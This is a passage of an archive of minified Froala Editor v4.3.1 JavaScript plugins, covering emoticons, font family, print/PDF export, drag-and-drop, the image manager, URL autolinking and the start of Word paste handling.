c(){p.popups.hide("emoticons"),p.toolbar.showInline()}}},B.DefineIcon("emoticons",{NAME:"smile-o",FA5NAME:"smile",SVG_KEY:"smile"}),B.RegisterCommand("emoticons",{title:"Emoticons",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("emoticons")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("emoticons")):this.emoticons.showEmoticonsPopup()},plugin:"emoticons"}),B.RegisterCommand("insertEmoticon",{callback:function(e,c,d){this.emoticons.insert(d,this.opts.emoticonsUseImage?"https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/".concat(c,".svg"):null),this.popups.hide("emoticons")}}),B.RegisterCommand("setEmoticonCategory",{undo:!1,focus:!1,callback:function(e,c){this.emoticons.setEmoticonCategory(c)}}),B.DefineIcon("emoticonsBack",{NAME:"arrow-left",SVG_KEY:"back"}),B.RegisterCommand("emoticonsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.emoticons.back()}})}); plugins/font_family.min.js 0000674 00000005430 00000000000 0011622 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{fontFamily:{"Arial,Helvetica,sans-serif":"Arial","Georgia,serif":"Georgia","Impact,Charcoal,sans-serif":"Impact","Tahoma,Geneva,sans-serif":"Tahoma","Times New Roman,Times,serif,-webkit-standard":"Times New Roman","Verdana,Geneva,sans-serif":"Verdana"},fontFamilySelection:!1,fontFamilyDefaultSelection:"Font Family"}),e.PLUGINS.fontFamily=function(o){var i=o.$;function r(e){var t=e.replace(/(sans-serif|serif|monospace|cursive|fantasy)/gi,"").replace(/"|'| /g,"").split(",");return i(this).grep(t,function(e){return 0<e.length})}function f(e,t){for(var n=0;n<e.length;n++)for(var a=0;a<t.length;a++)if(e[n].toLowerCase()===t[a].toLowerCase())return[n,a];return null}function n(){var e=r(i(o.selection.element()).css("font-family")),t=[];for(var n in o.opts.fontFamily)if(o.opts.fontFamily.hasOwnProperty(n)){var a=f(e,r(n));a&&t.push([n,a])}return 0===t.length?null:(t.sort(function(e,t){var n=e[1][0]-t[1][0];return 0===n?e[1][1]-t[1][1]:n}),t[0][0])}return{apply:function t(e){o.format.applyStyle("font-family",e)},refreshOnShow:function a(e,t){t.find(".fr-command.fr-active").removeClass("fr-active").attr("aria-selected",!1),t.find('.fr-command[data-param1="'.concat(n(),'"]')).addClass("fr-active").attr("aria-selected",!0)},refresh:function l(e){if(o.opts.fontFamilySelection){var t=i(o.selection.element()).css("font-family").replace(/(sans-serif|serif|monospace|cursive|fantasy)/gi,"").replace(/"|'|/g,"").split(",");e.find("> span").text(o.opts.fontFamily[n()]||t[0]||o.language.translate(o.opts.fontFamilyDefaultSelection))}}}},e.RegisterCommand("fontFamily",{type:"dropdown",displaySelection:function(e){return e.opts.fontFamilySelection},defaultSelection:function(e){return e.opts.fontFamilyDefaultSelection},displaySelectionWidth:120,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.fontFamily;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="fontFamily" data-param1="'.concat(n,'" \n style="font-family: ').concat(n,'" title="').concat(t[n],'">').concat(t[n],"</a></li>"));return e+="</ul>"},title:"Font Family",callback:function(e,t){this.fontFamily.apply(t)},refresh:function(e){this.fontFamily.refresh(e)},refreshOnShow:function(e,t){this.fontFamily.refreshOnShow(e,t)},plugin:"fontFamily"}),e.DefineIcon("fontFamily",{NAME:"font",SVG_KEY:"fontFamily"})}); plugins/print.min.js 0000674 00000005247 00000000000 0010455 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{html2pdf:window.html2pdf}),e.PLUGINS.print=function(a){return{run:function e(){!function l(e){var t=a.html.get(),n=null;a.shared.print_iframe?n=a.shared.print_iframe:((n=document.createElement("iframe")).name="fr-print",n.style.position="fixed",n.style.top="0",n.style.left="-9999px",n.style.height="100%",n.style.width="0",n.style.overflow="hidden",n.style["z-index"]="2147483647",n.style.tabIndex="-1",a.events.on("shared.destroy",function(){n.remove()}),a.shared.print_iframe=n);try{document.body.removeChild(n)}catch(d){}document.body.appendChild(n);var i=function(){e(),n.removeEventListener("load",i)};n.addEventListener("load",i);var o=n.contentWindow;o.document.open(),o.document.write("<!DOCTYPE html><html "+(a.opts.documentReady?'style="margin: 0; padding: 0;"':"")+"><head><title>"+document.title+"</title>"),Array.prototype.forEach.call(document.querySelectorAll("style"),function(e){e=e.cloneNode(!0),o.document.write(e.outerHTML)});var r=document.querySelectorAll("link[rel=stylesheet]");Array.prototype.forEach.call(r,function(e){var t=document.createElement("link");t.rel=e.rel,t.href=e.href,t.media="print",t.type="text/css",t.media="all",o.document.write(t.outerHTML)}),o.document.write('</head><body style="height:auto;text-align: '+("rtl"==a.opts.direction?"right":"left")+"; direction: "+a.opts.direction+"; "+(a.opts.documentReady?" padding: 2cm; width: 17cm; margin: 0;":"")+'"><div class="fr-view">'),o.document.write(t),o.document.write("</div></body></html>"),o.document.close()}(function(){setTimeout(function(){a.events.disableBlur(),window.frames["fr-print"].focus(),window.frames["fr-print"].print(),a.$win.get(0).focus(),a.events.disableBlur(),a.events.focus()},0)})},toPDF:function t(){a.opts.html2pdf&&(a.$el.css("text-align","left"),a.opts.html2pdf().set({margin:[10,20],html2canvas:{useCORS:!0}}).from(a.el).save(),setTimeout(function(){a.$el.css("text-align","")},100))}}},e.DefineIcon("print",{NAME:"print",SVG_KEY:"print"}),e.RegisterCommand("print",{title:"Print",undo:!1,focus:!1,plugin:"print",callback:function(){this.print.run()}}),e.DefineIcon("getPDF",{NAME:"file-pdf-o",FA5NAME:"file-pdf",SVG_KEY:"pdfExport"}),e.RegisterCommand("getPDF",{title:"Download PDF",type:"button",focus:!1,undo:!1,callback:function(){this.print.toPDF()}})}); plugins/draggable.min.js 0000674 00000014465 00000000000 0011233 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(m){"use strict";m=m&&m.hasOwnProperty("default")?m["default"]:m,Object.assign(m.DEFAULTS,{dragInline:!0}),m.PLUGINS.draggable=function(g){var d=g.$;function e(e){return!(!e.originalEvent||!e.originalEvent.target||e.originalEvent.target.nodeType!==Node.TEXT_NODE)||(e.target&&"A"===e.target.tagName&&1===e.target.childNodes.length&&"IMG"===e.target.childNodes[0].tagName&&(e.target=e.target.childNodes[0]),d(e.target).hasClass("fr-draggable")?(g.undo.canDo()||g.undo.saveStep(),g.opts.dragInline?g.$el.attr("contenteditable",!0):g.$el.attr("contenteditable",!1),g.opts.toolbarInline&&g.toolbar.hide(),d(e.target).addClass("fr-dragging"),g.browser.msie||g.browser.edge||g.selection.clear(),void e.originalEvent.dataTransfer.setData("text","Froala")):(e.preventDefault(),!1))}var p,v=function v(e){return!(e&&("HTML"===e.tagName||"BODY"===e.tagName||g.node.isElement(e)))};function c(e,t,n){if(g.opts.iframe){var r=g.helpers.getPX(g.$wp.find(".fr-iframe").css("padding-top")),a=g.helpers.getPX(g.$wp.find(".fr-iframe").css("padding-left"));e+=g.$iframe.offset().top+r,t+=g.$iframe.offset().left+a}p.offset().top!==e&&p.css("top",e),p.offset().left!==t&&p.css("left",t),p.width()!==n&&p.css("width",n)}function t(e){e.originalEvent.dataTransfer.dropEffect="move",g.opts.dragInline?(!function n(){for(var e=null,t=0;t<m.INSTANCES.length;t++)if((e=m.INSTANCES[t].$el.find(".fr-dragging")).length)return e.get(0)}()||g.browser.msie||g.browser.edge)&&e.preventDefault():(e.preventDefault(),function f(e){var t=g.doc.elementFromPoint(e.originalEvent.pageX-g.win.pageXOffset,e.originalEvent.pageY-g.win.pageYOffset);if(!v(t)){for(var n=0,r=t;!v(r)&&r===t&&0<e.originalEvent.pageY-g.win.pageYOffset-n;)n++,r=g.doc.elementFromPoint(e.originalEvent.pageX-g.win.pageXOffset,e.originalEvent.pageY-g.win.pageYOffset-n);(!v(r)||p&&0===g.$el.find(r).length&&r!==p.get(0))&&(r=null);for(var a=0,o=t;!v(o)&&o===t&&e.originalEvent.pageY-g.win.pageYOffset+a<d(g.doc).height();)a++,o=g.doc.elementFromPoint(e.originalEvent.pageX-g.win.pageXOffset,e.originalEvent.pageY-g.win.pageYOffset+a);(!v(o)||p&&0===g.$el.find(o).length&&o!==p.get(0))&&(o=null),t=null===o&&r?r:o&&null===r?o:o&&r?n<a?r:o:null}if(d(t).hasClass("fr-drag-helper"))return!1;if(t&&!g.node.isBlock(t)&&(t=g.node.blockParent(t)),t&&0<=["TD","TH","TR","THEAD","TBODY"].indexOf(t.tagName)&&(t=d(t).parents("table").get(0)),t&&0<=["LI"].indexOf(t.tagName)&&(t=d(t).parents("UL, OL").get(0)),t&&!d(t).hasClass("fr-drag-helper")){var i;p||(m.$draggable_helper||(m.$draggable_helper=d(document.createElement("div")).attr("class","fr-drag-helper")),p=m.$draggable_helper,g.events.on("shared.destroy",function(){p.html("").removeData().remove(),p=null},!0)),i=e.originalEvent.pageY<d(t).offset().top+d(t).outerHeight()/2;var l=d(t),s=0;i||0!==l.next().length?(i||(l=l.next()),"before"===p.data("fr-position")&&l.is(p.data("fr-tag"))||(0<l.prev().length&&(s=parseFloat(l.prev().css("margin-bottom"))||0),s=Math.max(s,parseFloat(l.css("margin-top"))||0),c(l.offset().top-s/2-g.$box.offset().top,l.offset().left-g.win.pageXOffset-g.$box.offset().left,l.width()),p.data("fr-position","before"))):"after"===p.data("fr-position")&&l.is(p.data("fr-tag"))||(s=parseFloat(l.css("margin-bottom"))||0,c(l.offset().top+d(t).height()+s/2-g.$box.offset().top,l.offset().left-g.win.pageXOffset-g.$box.offset().left,l.width()),p.data("fr-position","after")),p.data("fr-tag",l),p.addClass("fr-visible"),g.$box.append(p)}else p&&0<g.$box.find(p).length&&p.removeClass("fr-visible")}(e))}function n(e){e.originalEvent.dataTransfer.dropEffect="move",g.opts.dragInline||e.preventDefault()}function r(e){g.$el.attr("contenteditable",!0);var t=g.$el.find(".fr-dragging");p&&p.hasClass("fr-visible")&&g.$box.find(p).length?a(e):t.length&&(e.preventDefault(),e.stopPropagation()),p&&g.$box.find(p).length&&p.removeClass("fr-visible"),t.removeClass("fr-dragging")}function a(e){var t,n;g.$el.attr("contenteditable",!0);for(var r=0;r<m.INSTANCES.length;r++)if((t=m.INSTANCES[r].$el.find(".fr-dragging")).length){n=m.INSTANCES[r];break}if(t.length){if(e.preventDefault(),e.stopPropagation(),p&&p.hasClass("fr-visible")&&g.$box.find(p).length)p.data("fr-tag")[p.data("fr-position")]('<span class="fr-marker"></span>'),p.removeClass("fr-visible");else if(!1===g.markers.insertAtPoint(e.originalEvent))return!1;if(t.removeClass("fr-dragging"),!1===(t=g.events.chainTrigger("element.beforeDrop",t)))return!1;var a=t;if(t.parent().is("A")&&1===t.parent().get(0).childNodes.length&&(a=t.parent()),g.core.isEmpty())g.events.focus();else g.$el.find(".fr-marker").replaceWith(m.MARKERS),g.selection.restore();if(n===g||g.undo.canDo()||g.undo.saveStep(),g.core.isEmpty())g.$el.html(a);else{var o=g.markers.insert();(g||"").selection&&a.contains(o)&&a.before(o),0===a.find(o).length?d(o).replaceWith(a):0===t.find(o).length&&d(o).replaceWith(t),t.after(m.MARKERS),g.selection.restore()}return g.popups.hideAll(),g.selection.save(),g.$el.find(g.html.emptyBlockTagsQuery()).not("TD, TH, LI, .fr-inner").not(g.opts.htmlAllowedEmptyTags.join(",")).remove(),g.html.wrap(),g.html.fillEmptyBlocks(),g.selection.restore(),g.undo.saveStep(),g.opts.iframe&&g.size.syncIframe(),n!==g&&(n.popups.hideAll(),n.$el.find(n.html.emptyBlockTagsQuery()).not("TD, TH, LI, .fr-inner").remove(),n.html.wrap(),n.html.fillEmptyBlocks(),n.undo.saveStep(),n.events.trigger("element.dropped"),n.opts.iframe&&n.size.syncIframe()),g.events.trigger("element.dropped",[a]),!1}p&&p.removeClass("fr-visible"),g.undo.canDo()||g.undo.saveStep(),setTimeout(function(){g.undo.saveStep()},0)}function o(e){if(e&&"DIV"===e.tagName&&g.node.hasClass(e,"fr-drag-helper"))e.parentNode.removeChild(e);else if(e&&e.nodeType===Node.ELEMENT_NODE)for(var t=e.querySelectorAll("div.fr-drag-helper"),n=0;n<t.length;n++)t[n].parentNode.removeChild(t[n])}return{_init:function i(){g.opts.enter===m.ENTER_BR&&(g.opts.dragInline=!0),g.events.on("dragstart",e,!0),g.events.on("dragover",t,!0),g.events.on("dragenter",n,!0),g.events.on("document.dragend",r,!0),g.events.on("document.drop",r,!0),g.events.on("drop",a,!0),g.events.on("html.processGet",o)}}}}); plugins/image_manager.min.js 0000674 00000022436 00000000000 0012074 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,a){"object"==typeof exports&&"undefined"!=typeof module?a(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],a):a(e.FroalaEditor)}(this,function($){"use strict";if($=$&&$.hasOwnProperty("default")?$["default"]:$,Object.assign($.DEFAULTS,{imageManagerLoadURL:"https://i.froala.com/load-files",imageManagerLoadMethod:"get",imageManagerLoadParams:{},imageManagerPreloader:null,imageManagerDeleteURL:"",imageManagerDeleteMethod:"post",imageManagerDeleteParams:{},imageManagerPageSize:12,imageManagerScrollOffset:20,imageManagerToggleTags:!0}),$.PLUGINS.imageManager=function(s){var g,l,i,o,d,m,c,f,u,p,h,v=s.$,M="image_manager",e=10,b=11,w=12,C=13,L=14,D=15,t=21,r=22,n={};function y(){var e=v(window).outerWidth();return e<768?2:e<1200?3:4}function I(){d.empty();for(var e=0;e<h;e++)d.append('<div class="fr-list-column"></div>')}function P(){if(u<c.length&&i[0].scrollTop>=i[0].scrollHeight-s.opts.imageManagerScrollOffset-i.outerHeight()){f++;for(var e=s.opts.imageManagerPageSize*(f-1);e<Math.min(c.length,s.opts.imageManagerPageSize*f);e++)a(c[e])}}function a(n){var i=new Image,o=v(document.createElement("div")).attr("class","fr-image-container fr-empty fr-image-"+p++).attr("data-loading",s.language.translate("Loading")+"..").attr("data-deleting",s.language.translate("Deleting")+"..");R(!1),i.onload=function(){o.height(Math.floor(o.width()/i.width*i.height));var t=v(document.createElement("img"));if(n.thumb)t.attr("src",n.thumb);else{if(O(L,n),!n.url)return O(D,n),!1;t.attr("src",n.url)}if(n.url&&t.attr("data-url",n.url),n.tag)if(l.find(".fr-modal-more.fr-not-available").removeClass("fr-not-available"),l.find(".fr-modal-tags").show(),0<=n.tag.indexOf(",")){for(var e=n.tag.split(","),a=0;a<e.length;a++)e[a]=e[a].trim(),0===m.find('a[title="'.concat(e[a],'"]')).length&&m.append('<a role="button" title="'.concat(e[a],'">').concat(e[a],"</a>"));t.attr("data-tag",e.join())}else 0===m.find('a[title="'.concat(n.tag.trim(),'"]')).length&&m.append('<a role="button" title="'.concat(n.tag.trim(),'">').concat(n.tag.trim(),"</a>")),t.attr("data-tag",n.tag.trim());for(var r in n.name&&t.attr("alt",n.name),n)n.hasOwnProperty(r)&&"thumb"!==r&&"url"!==r&&"tag"!==r&&t.attr("data-".concat(r),n[r]);o.append(t).append(v(s.icon.create("imageManagerDelete")).addClass("fr-delete-img").attr("title",s.language.translate("Delete"))).append(v(s.icon.create("imageManagerInsert")).addClass("fr-insert-img").attr("title",s.language.translate("Insert"))),m.find(".fr-selected-tag").each(function(e,a){j(t,a.text)||o.hide()}),t.on("load",function(){o.removeClass("fr-empty"),o.height("auto"),u++,E(T(parseInt(t.parent().attr("class").match(/fr-image-(\d+)/)[1],10)+1)),R(!1),u%s.opts.imageManagerPageSize==0&&P()}),s.events.trigger("imageManager.imageLoaded",[t])},i.onerror=function(){u++,o.remove(),E(T(parseInt(o.attr("class").match(/fr-image-(\d+)/)[1],10)+1)),O(e,n),u%s.opts.imageManagerPageSize==0&&P()},i.src=n.thumb||n.url,S().append(o)}function S(){var r,n;return d.find(".fr-list-column").each(function(e,a){var t=v(a);0===e?(n=t.outerHeight(),r=t):t.outerHeight()<n&&(n=t.outerHeight(),r=t)}),r}function T(e){e===undefined&&(e=0);for(var a=[],t=p-1;e<=t;t--){var r=d.find(".fr-image-".concat(t));r.length&&(a.push(r),v(document.createElement("div")).attr("id","fr-image-hidden-container").append(r),d.find(".fr-image-".concat(t)).remove())}return a}function E(e){for(var a=e.length-1;0<=a;a--)S().append(e[a])}function R(e){if(e===undefined&&(e=!0),!g.isVisible())return!0;var a=y();if(a!==h){h=a;var t=T();I(),E(t)}s.modals.resize(M),e&&P()}function U(e){for(var a,t=e[0].attributes,r=t.length,n={};r--;)t[r]&&"src"!==(a=t[r].name)&&(n[a]=t[r].value);return n}function x(e){var a=v(e.currentTarget).siblings("img"),t=g.data("instance")||s,r=g.data("current-image");if(s.modals.hide(M),t.image.showProgressBar(),r)r.data("fr-old-src",r.attr("src")),r.trigger("click");else{t.events.focus(!0),t.selection.restore();var n=t.position.getBoundingRect(),i=n.left+n.width/2+v(s.doc).scrollLeft(),o=n.top+n.height+v(s.doc).scrollTop();t.popups.setContainer("image.insert",s.$sc),t.popups.show("image.insert",i,o)}t.image.insert(a.data("url"),!1,U(a),r)}function q(e){var i=v(e.currentTarget).siblings("img"),a=s.language.translate("Are you sure? Image will be deleted.");confirm(a)&&(s.opts.imageManagerDeleteURL?!1!==s.events.trigger("imageManager.beforeDeleteImage",[i])&&(i.parent().addClass("fr-image-deleting"),v(this).ajax({method:s.opts.imageManagerDeleteMethod,url:s.opts.imageManagerDeleteURL,data:Object.assign(Object.assign({src:i.attr("src")},U(i)),s.opts.imageManagerDeleteParams),crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,a,t){s.events.trigger("imageManager.imageDeleted",[e]);var r=T(parseInt(i.parent().attr("class").match(/fr-image-(\d+)/)[1],10)+1);i.parent().remove(),E(r),function n(){g.find("#fr-modal-tags > a").each(function(){0===g.find('#fr-image-list [data-tag*="'.concat(v(this).text(),'"]')).length&&v(this).removeClass("fr-selected-tag").hide()}),_()}(),R(!0)},fail:function(e){O(t,e.response||e.responseText)}})):O(r))}function O(e,a){10<=e&&e<20?o.hide():20<=e&&e<30&&v(".fr-image-deleting").removeClass("fr-image-deleting"),s.events.trigger("imageManager.error",[{code:e,message:n[e]},a])}function H(){var e=l.find(".fr-modal-head-line").outerHeight(),a=m.outerHeight();l.toggleClass("fr-show-tags"),l.hasClass("fr-show-tags")?(l.css("height",e+a),i.css("marginTop",e+a),m.find("a").css("opacity",1)):(l.css("height",e),i.css("marginTop",e),m.find("a").css("opacity",0))}function _(){var e=m.find(".fr-selected-tag");0<e.length?(d.find("img").parents().show(),e.each(function(e,r){d.find("img").each(function(e,a){var t=v(a);j(t,r.text)||t.parent().hide()})})):d.find("img").parents().show(),E(T()),P()}function k(e){e.preventDefault();var a=v(e.currentTarget);a.toggleClass("fr-selected-tag"),s.opts.imageManagerToggleTags&&a.siblings("a").removeClass("fr-selected-tag"),_()}function j(e,a){for(var t=(e.attr("data-tag")||"").split(","),r=0;r<t.length;r++)if(t[r]===a)return!0;return!1}return n[e]="Image cannot be loaded from the passed link.",n[b]="Error during load images request.",n[w]="Missing imageManagerLoadURL option.",n[C]="Parsing load response failed.",n[L]="Missing image thumb.",n[D]="Missing image URL.",n[t]="Error during delete image request.",n[r]="Missing imageManagerDeleteURL option.",{require:["image"],_init:function z(){if(!s.$wp&&"IMG"!==s.el.tagName)return!1},show:function G(){if(!g){var e,a='<button class="fr-command fr-btn fr-modal-more fr-not-available" id="fr-modal-more-'.concat(s.sid,'"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24""><path d="').concat($.SVG.tags,'"/></svg></button><h4 data-text="true">').concat(s.language.translate("Manage Images"),'</h4></div>\n <div class="fr-modal-tags" id="fr-modal-tags">');e=s.opts.imageManagerPreloader?'<img class="fr-preloader" id="fr-preloader" alt="'.concat(s.language.translate("Loading"),'.." src="').concat(s.opts.imageManagerPreloader,'" style="display: none;">'):'<span class="fr-preloader" id="fr-preloader" style="display: none;">'.concat(s.language.translate("Loading"),"</span>"),e+='<div class="fr-image-list" id="fr-image-list"></div>';var t=s.modals.create(M,a,e);g=t.$modal,l=t.$head,i=t.$body}g.data("current-image",s.image.get()),s.modals.show(M),o||function r(){o=g.find("#fr-preloader"),d=g.find("#fr-image-list"),m=g.find("#fr-modal-tags"),h=y(),I(),l.css("height",l.find(".fr-modal-head-line").outerHeight()),s.events.$on(v(s.o_win),"resize",function(){R(!!c)}),s.events.bindClick(d,".fr-insert-img",x),s.events.bindClick(d,".fr-delete-img",q),s.helpers.isMobile()&&(s.events.bindClick(d,"div.fr-image-container",function(e){g.find(".fr-mobile-selected").removeClass("fr-mobile-selected"),v(e.currentTarget).addClass("fr-mobile-selected")}),g.on(s._mousedown,function(){g.find(".fr-mobile-selected").removeClass("fr-mobile-selected")})),g.on(s._mousedown+" "+s._mouseup,function(e){e.stopPropagation()}),g.on(s._mousedown,"*",function(){s.events.disableBlur()}),i.on("scroll",P),s.events.bindClick(g,"button#fr-modal-more-".concat(s.sid),H),s.events.bindClick(m,"a",k)}(),function n(){o.show(),d.find(".fr-list-column").empty(),s.opts.imageManagerLoadURL?v(this).ajax({url:s.opts.imageManagerLoadURL,method:s.opts.imageManagerLoadMethod,data:s.opts.imageManagerLoadParams,crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,a,t){s.events.trigger("imageManager.imagesLoaded",[e]),function r(e,a){try{d.find(".fr-list-column").empty(),p=u=f=0,c=JSON.parse(e),P()}catch(t){O(C,a)}}(e,t.response),o.hide()},fail:function(e){O(b,e.response||e.responseText)}}):O(w)}()},hide:function N(){s.modals.hide(M)}}},!$.PLUGINS.image)throw new Error("Image manager plugin requires image plugin.");$.DEFAULTS.imageInsertButtons.push("imageManager"),$.RegisterCommand("imageManager",{title:"Browse",undo:!1,focus:!1,modal:!0,callback:function(){this.imageManager.show()},plugin:"imageManager"}),$.DefineIcon("imageManager",{NAME:"folder",SVG_KEY:"imageManager"}),$.DefineIcon("imageManagerInsert",{NAME:"plus",SVG_KEY:"add"}),$.DefineIcon("imageManagerDelete",{NAME:"trash",SVG_KEY:"remove"})}); plugins/url.min.js 0000674 00000010213 00000000000 0010110 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(r){"use strict";(r=r&&r.hasOwnProperty("default")?r["default"]:r).URLRegEx="(^| |\\u00A0)(".concat(r.LinkRegEx,"|([a-z0-9+-_.]{1,}@[a-z0-9+-_.]{1,}\\.[a-z0-9+-_]{1,}))$"),r.PLUGINS.url=function(u){var c=u.$,o=null;function t(e,t,n){for(var r="";n.length&&"."==n[n.length-1];)r+=".",n=n.substring(0,n.length-1);var a=n;if(u.opts.linkConvertEmailAddress)u.helpers.isEmail(a)&&!/^mailto:.*/i.test(a)&&(a="mailto:".concat(a));else if(u.helpers.isEmail(a))return t+n;return/^((http|https|ftp|ftps|mailto|tel|sms|notes|data)\:)/i.test(a)||(a="//".concat(a)),(t||"")+"<a".concat(u.opts.linkAlwaysBlank?' target="_blank"':"").concat(o?' rel="'.concat(o,'"'):"",' data-fr-linked="true" href="').concat(a,'">').concat(n.replace(/&/g,"&").replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">"),"</a>").concat(r)}var d=function d(){return new RegExp(r.URLRegEx,"gi")};function g(e){return u.opts.linkAlwaysNoFollow&&(o="nofollow"),u.opts.linkAlwaysBlank&&(u.opts.linkNoOpener&&(o?o+=" noopener":o="noopener"),u.opts.linkNoReferrer&&(o?o+=" noreferrer":o="noreferrer")),e.replace(d(),t)}function h(e){var t=e.split(" ");return t[t.length-1]}function n(){var e=u.selection.ranges(0),t=e.startContainer;if(t.nodeType!==Node.TEXT_NODE)return!1;if(!t||e.startOffset!==(t.textContent||"").length){u.markers.insert();var n=u.$el.find(".fr-marker"),r=t.textContent.match(/(^| |\u00A0)(((([a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,})(\.(com|net|org|edu|mil|gov|co|biz|info|me|dev)))|((ftp|http|https):\/\/[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,})|(www\.[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,}\.[a-z0-9-]{2,24})|((ftp|http|https):\/\/[\u0021-\uffff]{1,}@[a-z\u0080-\u009f\u00a1-\uffff0-9-_\.]{1,}))((:[0-9]{1,5})|)(((\/|\?|#)[a-z\u00a1-\uffff0-9@?\|!^=%&\/~+#-\'*-_{}]*)|())|([a-z0-9+-_.]{1,}@[a-z0-9+-_.]{1,}\.[a-z0-9+-_]{1,}))$/gi);if(n.remove(),!r)return!1}if(function p(e){return!!e&&("A"===e.tagName||!(!e.parentNode||e.parentNode==u.el)&&p(e.parentNode))}(t))return!1;if(d().test(h(t.textContent))){var a,o=t.textContent.length;if(0<o&&","===t.textContent.charAt(o-1)){c(t).before(g(t.textContent.substring(0,o-1))),(a=c(t.parentNode).find("a[data-fr-linked]")).removeAttr("data-fr-linked"),t.textContent=",";var i=u.win.getSelection().getRangeAt(0);i.setStart(t,1),i.setEnd(t,1)}else c(t).before(g(t.textContent)),(a=c(t.parentNode).find("a[data-fr-linked]")).removeAttr("data-fr-linked"),t.parentNode.removeChild(t);u.events.trigger("url.linked",[a.get(0)])}else if(t.textContent.split(" ").length<=2&&t.previousSibling&&"A"===t.previousSibling.tagName){var l=t.previousSibling.innerText+t.textContent,f=t.textContent.length;if(d().test(h(l))&&","!==t.textContent.charAt(f-1)){var s=(new DOMParser).parseFromString(g(l),"text/html").body.childNodes;t.parentNode.replaceChild(s[0],t.previousSibling),s.length&&c(t).before(s[0]),t.parentNode.removeChild(t)}}}return{_init:function e(){u.events.on("keypress",function(e){!u.selection.isCollapsed()||")"!=e.key&&"("!=e.key||n()},!0),u.events.on("keydown",function(e){var t=e.which;!u.selection.isCollapsed()||t!=r.KEYCODE.ENTER&&t!=r.KEYCODE.SPACE||n()},!0),u.events.on("paste.beforeCleanup",function(e){if(u.helpers.isURL(e)&&!u.$el[0].getAttribute("plainpaste")){var t=null;return u.opts.linkAlwaysBlank&&(u.opts.linkNoOpener&&(t?t+=" noopener":t="noopener"),u.opts.linkNoReferrer&&(t?t+=" noreferrer":t="noreferrer")),"<a".concat(u.opts.linkAlwaysBlank?' target="_blank"':"").concat(t?' rel="'.concat(t,'"'):"",' href="').concat(e,'" >').concat(e,"</a>")}if(u.$el[0].getAttribute("plainpaste"))return function n(e){if("string"==typeof e)return(e=e.replace(/&/g,"&")).replace(/(?:(?:https?|ftp|file):\/\/|www\.|ftp\.)(?:\([-A-Z0-9+&@#\/%=~_|$?!:,.]*\)|[-A-Z0-9+&@#\/%=~_|$?!:,.])*(?:\([-A-Z0-9+&@#\/%=~_|$?!:,.]*\)|[A-Z0-9+&@#\/%=~_|$])/gim,g).replace(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)/gim,g)}(e)})}}}}); plugins/word_paste.min.js 0000674 00000056624 00000000000 0011475 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(M){"use strict";function l(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,i=Array(e);r<e;r++)i[r]=t[r];return i}function o(t){return function e(t){if(Array.isArray(t))return l(t)}(t)||function r(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function i(t,e){if(t){if("string"==typeof t)return l(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?l(t,e):void 0}}(t)||function n(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() 